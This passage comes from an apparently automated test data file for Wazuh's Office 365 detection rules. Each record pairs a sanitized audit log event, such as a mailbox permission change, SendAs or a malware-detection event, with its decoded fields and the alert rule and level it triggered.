"office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91624", "level": "5", "expected_decoder": "json", "expected_rule": "91624", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 OnPremisesSharePointScannerDlp"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"ExchangeSearch\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"101\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "101", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "ExchangeSearch"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91625", "level": "3", "expected_decoder": "json", "expected_rule": "91625", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 ExchangeSearch"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SharePointSearch\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"102\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "102", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SharePointSearch"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91626", "level": "3", "expected_decoder": "json", "expected_rule": "91626", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SharePointSearch"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"PrivacyInsights\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"103\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "103", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "PrivacyInsights"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91627", "level": "3", "expected_decoder": "json", "expected_rule": "91627", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 PrivacyInsights"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MyAnalyticsSettings\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"105\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "105", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MyAnalyticsSettings"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91628", "level": "3", "expected_decoder": "json", "expected_rule": "91628", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MyAnalyticsSettings"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SecurityComplianceUserChange\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"106\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "106", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SecurityComplianceUserChange"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91629", "level": "5", "expected_decoder": "json", "expected_rule": "91629", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SecurityComplianceUserChange"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"ComplianceDLPExchangeClassification\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"107\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "107", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "ComplianceDLPExchangeClassification"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91630", "level": "3", "expected_decoder": "json", "expected_rule": "91630", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 ComplianceDLPExchangeClassification"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MipExactDataMatch\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"109\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "109", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MipExactDataMatch"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91631", "level": "3", "expected_decoder": "json", "expected_rule": "91631", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MipExactDataMatch"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"actor\":\"wazuh\",\"tenant_id\":\"8CE4AF1D-20DC-4E7E-B306-1CEF89A3B898\",\"subscription_name\":\"Audit.Exchange\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.actor": "wazuh", "office365.subscription_name": "Audit.Exchange", "office365.tenant_id": "8CE4AF1D-20DC-4E7E-B306-1CEF89A3B898"}, "field_names": ["integration", "office365.actor", "office365.subscription_name", "office365.tenant_id"], "rule": "91648", "level": "3", "expected_decoder": "json", "expected_rule": "91648", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 module internal event, 3 request fail."} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"FileMalwareDetected\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "FileMalwareDetected", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91700", "level": "14", "expected_decoder": "json", "expected_rule": "91700", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 FileMalwareDetected"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"FileMalwareDetected\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"6\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "FileMalwareDetected", "office365.OrganizationId": "sanitized", "office365.RecordType": "6", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91700", "level": "14", "expected_decoder": "json", "expected_rule": "91700", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 FileMalwareDetected - Priority"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"DocumentSensitivityMismatchDetected\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "DocumentSensitivityMismatchDetected", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91701", "level": "5", "expected_decoder": "json", "expected_rule": "91701", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 DocumentSensitivityMismatchDetected"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"FileDownloaded\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "FileDownloaded", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91702", "level": "4", "expected_decoder": "json", "expected_rule": "91702", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 FileDownloaded"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"PermissionLevelAdded\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "PermissionLevelAdded", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91703", "level": "6", "expected_decoder": "json", "expected_rule": "91703", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 PermissionLevelAdded"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"SharingInvitationBlocked\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "SharingInvitationBlocked", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91704", "level": "6", "expected_decoder": "json", "expected_rule": "91704", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SharingInvitationBlocked"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"Add-MailboxPermission\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "Add-MailboxPermission", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91705", "level": "6", "expected_decoder": "json", "expected_rule": "91705", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 Add-MailboxPermission"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"AddFolderPermissions\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "AddFolderPermissions", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91706", "level": "6", "expected_decoder": "json", "expected_rule": "91706", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 AddFolderPermissions"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"Send\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "Send", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91707", "level": "4", "expected_decoder": "json", "expected_rule": "91707", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 Send"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"SendAs\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "SendAs", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91708", "level": "6", "expected_decoder": "json", "expected_rule": "91708", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SendAs"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"SendOnBehalf\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "SendOnBehalf", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", 